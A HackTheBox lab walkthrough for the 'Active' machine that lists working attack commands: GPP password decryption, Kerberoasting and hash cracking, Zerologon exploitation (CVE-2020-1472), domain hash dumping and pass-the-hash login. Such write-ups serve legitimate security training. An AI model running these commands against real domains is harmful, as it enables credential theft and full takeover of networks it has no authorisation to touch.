Active writeup & walkthrough

Active is an easy HackTheBox Windows Active Directory machine featuring GPP credential decryption, Kerberoasting to crack the Administrator hash, and an optional Zerologon (CVE-2020-1472) path to dump all domain hashes.

HackTheBox - Active

Access Path

no access => SVC_TGS => Administrator

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Command Flow

These notes preserve the original command sequence while grouping it in a command block for cleaner rendering.

smbmap -H 10.10.10.100

smbclient //10.10.10.100/Replication -U ""%""

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18

smbclient //10.10.10.100/Users -U active.htb\SVC_TGS%GPPstillStandingStrong2k18

get user.txt

# ─── Kerberoasting ─────────────────────────────────────────────────────────

GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS -save -outputfile GetUserSPNs.out

hashcat -m 13100 -a 0 GetUserSPNs.out /usr/share/wordlists/rockyou.txt --force

psexec.py active.htb/[email protected]

# ─── Alternative: Zerologon (CVE-2020-1472) ────────────────────────────────

git clone https://github.com/SecuraBV/CVE-2020-1472
cd CVE-2020-1472
python3 zerologon_tester.py DC 10.129.2.203

git clone https://github.com/dirkjanm/CVE-2020-1472.git
cd CVE-2020-1472
python3 cve-2020-1472-exploit.py DC 10.129.2.203

# Dump domain hashes after blanking DC password
impacket-secretsdump -just-dc -no-pass 'DOMAIN/[email protected]'

impacket-psexec 'active.htb/[email protected]' -hashes :5ffb4aaaf9b63dc519eca04aec0e8bed